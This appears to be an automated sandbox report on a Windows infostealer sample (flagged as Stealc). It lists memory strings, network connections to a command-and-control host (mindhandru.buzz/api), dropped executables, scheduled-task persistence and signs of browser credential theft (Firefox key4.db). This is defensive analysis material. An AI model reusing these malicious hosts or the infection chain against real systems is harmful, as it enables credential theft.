Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: soonmaiintain.exe.10.dr	String found in binary or memory: http://james.newtonking.com/projects/json
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buz
Source: Idau8QuYa3.exe, 00000000.00000003.1775620024.00000000056C2000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775672508.00000000056C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz//
Source: Idau8QuYa3.exe, Idau8QuYa3.exe, 00000000.00000003.1923841250.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api7
Source: Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiz
Source: Idau8QuYa3.exe, 00000000.00000003.1856150659.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1860048202.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/es7
Source: Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: Idau8QuYa3.exe, 00000000.00000003.1856150659.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1860048202.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s
Source: Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiF
Source: Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apis92o4p.default-release/key4.dbPK
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: Idau8QuYa3.exe, 00000000.00000003.1754142493.0000000005721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Idau8QuYa3.exe, 00000000.00000003.1754142493.000000000571F000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775550305.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775730691.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1754269088.0000000005718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Idau8QuYa3.exe, 00000000.00000003.1754269088.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Idau8QuYa3.exe, 00000000.00000003.1754142493.000000000571F000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775550305.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775730691.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1754269088.0000000005718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Idau8QuYa3.exe, 00000000.00000003.1754269088.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: soonmaiintain.exe.10.dr	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: soonmaiintain.exe.10.dr	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49743 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: Idau8QuYa3.exe	Static PE information: section name:
Source: Idau8QuYa3.exe	Static PE information: section name: .idata
Source: Idau8QuYa3.exe	Static PE information: section name:
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name:
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name: .idata
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name:
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_001DCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

8_2_001DCB97

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E84EE3	0_3_00E84EE3
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E84EE3	0_3_00E84EE3
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E7509F	0_3_00E7509F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E7509F	0_3_00E7509F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E74804	0_3_00E74804
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E74804	0_3_00E74804
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E84EE3	0_3_00E84EE3
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E84EE3	0_3_00E84EE3
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E7509F	0_3_00E7509F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E7509F	0_3_00E7509F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E74804	0_3_00E74804
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E74804	0_3_00E74804
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_008778BB	5_2_008778BB
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00877049	5_2_00877049
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00878860	5_2_00878860
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_008731A8	5_2_008731A8
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00834B30	5_2_00834B30
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00947B6E	5_2_00947B6E
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00834DE0	5_2_00834DE0
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00872D10	5_2_00872D10
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_0087779B	5_2_0087779B
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00867F36	5_2_00867F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00208860	6_2_00208860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00207049	6_2_00207049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002078BB	6_2_002078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002031A8	6_2_002031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C4B30	6_2_001C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00202D10	6_2_00202D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C4DE0	6_2_001C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001F7F36	6_2_001F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0020779B	6_2_0020779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00208860	7_2_00208860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00207049	7_2_00207049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002078BB	7_2_002078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002031A8	7_2_002031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001C4B30	7_2_001C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00202D10	7_2_00202D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001C4DE0	7_2_001C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001F7F36	7_2_001F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0020779B	7_2_0020779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001CE530	8_2_001CE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001E6192	8_2_001E6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00208860	8_2_00208860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001C4B30	8_2_001C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00202D10	8_2_00202D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001C4DE0	8_2_001C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001E0E13	8_2_001E0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00207049	8_2_00207049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_002031A8	8_2_002031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001E1602	8_2_001E1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0020779B	8_2_0020779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_002078BB	8_2_002078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001E3DF1	8_2_001E3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001F7F36	8_2_001F7F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe 2EF46EDD099D06C685F70182337F9F0E1A8DD36B2977509EB5A309582F72E9C8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe 2EF46EDD099D06C685F70182337F9F0E1A8DD36B2977509EB5A309582F72E9C8

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: String function: 008480C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001D80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001F8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001DDF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001DD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001DD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001D7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001DD64E appears 79 times

Source: random[1].exe.8.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 2125147 bytes, 2 files, at 0x2c +A "soonmaiintain.exe" +A "soonmaintain.exe", ID 3433, number 1, 101 datablocks, 0x1503 compression
Source: f5a1a3b065.exe.8.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 2125147 bytes, 2 files, at 0x2c +A "soonmaiintain.exe" +A "soonmaintain.exe", ID 3433, number 1, 101 datablocks, 0x1503 compression

Source: soonmaintain.exe.10.dr

Static PE information: No import functions for PE file found

Source: Idau8QuYa3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: soonmaiintain.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soonmaintain.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Idau8QuYa3.exe	Static PE information: Section: ZLIB complexity 0.9996361825980392
Source: Idau8QuYa3.exe	Static PE information: Section: muxysgpc ZLIB complexity 0.9948377989371124

Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/8@1/5

Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\GIM8T721.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

File created: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: Idau8QuYa3.exe, 00000000.00000003.1754402026.00000000056C5000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753862405.00000000056F7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Idau8QuYa3.exe	Virustotal: Detection: 55%
Source: Idau8QuYa3.exe	ReversingLabs: Detection: 57%

Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

File read: C:\Users\user\Desktop\Idau8QuYa3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Idau8QuYa3.exe "C:\Users\user\Desktop\Idau8QuYa3.exe"
